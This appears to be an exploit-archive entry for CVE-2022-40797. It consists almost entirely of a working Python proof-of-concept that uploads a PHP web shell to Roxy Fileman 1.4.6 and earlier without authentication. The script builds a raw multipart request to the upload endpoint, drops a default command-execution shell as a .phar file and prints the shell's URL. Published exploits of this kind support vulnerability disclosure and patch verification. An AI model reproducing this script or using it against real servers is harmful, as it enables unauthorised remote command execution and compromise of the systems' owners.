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Roxy Fileman 1.4.6 Remote Shell Upload

Roxy Fileman 1.4.6 Remote Shell Upload
Posted Nov 21, 2022
Authored by Hadi Mene

Roxy Fileman versions 1.4.6 and below remote shell upload proof of concept exploit.

tags | exploit, remote, shell, proof of concept, file upload
advisories | CVE-2022-40797
SHA-256 | 16a9c59173c82b869a340397a5e68377531e0e0f9be9781793142e4f47786e1b

Roxy Fileman 1.4.6 Remote Shell Upload

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# Exploit Title: Roxy Fileman <= 1.4.6 Arbitrary File Upload (Unathenticated)
# Date: 11/12/2022
# Exploit Author: Hadi Mene <hadi_mene@hotmail.com>
# Vendor Homepage: roxyfileman.com
# Software Link: https://web.archive.org/web/20210126213412/https://roxyfileman.com/download.php?f=1.4.6-php
# Version: <= 1.4.6
# Tested on: Ubuntu 18.04
# CVE : CVE-2022-40797

# https://nvd.nist.gov/vuln/detail/CVE-2022-40797

import requests
from optparse import OptionParser
from os.path import basename

banner = '#################################################\n'
banner += '# Roxy Fileman <= 1.4.6 Arbitrary File Upload #\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#\tCVE-2022-40797 exploit code\t\t#\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '# Author : Hadi Mene <hadi_mene@hotmail.com>\t#\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#################################################\n'


parser = OptionParser()
parser.add_option("-u", "--url", dest="url",
help="url of roxy fileman installation")
parser.add_option("-s", "--shell",dest="shell", default=False,
help="path of the php shell if not specified defaut shell will be uploaded ")


(options, args) = parser.parse_args()


if options.url is None:
parser.error('URL is required use -h for help')

url = options.url

#It seems that in some versions of the app an '/' in the end of the url breaks the exploit code
if (url.endswith('/')):
url = url[:-1] # we delete that '/'

webroot = options.url.split('/')[3:]
webroot = '/'+ '/'.join(webroot)

if (webroot.endswith('/')):
webroot = webroot[:-1]

webroot = webroot+'/Uploads'

if options.shell:
shell = open(options.shell,'r').read()
filename = basename(options.shell)
filename = filename.split('.')[0]

else:
# default shell
shell = "<?php system($_GET['cmd']); ?>"
filename = 'shell'


headers = {
'Host': (url.split('/')[2]),
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'multipart/form-data; boundary=---------------------------39556237418830295983527604767',
'Origin': (url.split('/')[2]),
'Connection': 'close',
}

data = '-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="action"\r\n\r\nupload\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="method"\r\n\r\najax\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="d"\r\n\r\n'+(webroot)+'\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="files[]"; filename="'+(filename)+'.phar"\r\nContent-Type: text/plain\r\n\r\n'+shell+'\n\r\n-----------------------------39556237418830295983527604767--\r\n'

#We check if a file with the same filename is already there
#because Roxy doesn't overwrite file instead it changes the filename of the newly uploaded file
if 'href="'+filename+'.phar"' in (requests.get(url+'/Uploads/').text):
already_uploaded = True
else:
already_uploaded = False

# file upload
req = requests.post(url+'/php/upload.php', headers=headers, data=data, verify=False)
response = (req.text)

print(banner)

if '{"res":"ok","msg":""}' in (response):
# success
print('File Uploaded Successfully!!!')

if already_uploaded:
print('A file with the same filename is already on the server..')
print('URL: '+url+'/Uploads/'+(filename)+' - Copy X.phar ')

else:
print('URL: '+url+'/Uploads/'+(filename)+'.phar')

else:
# failure
print('Shell Upload Failed :((( ')
print(response) #debug


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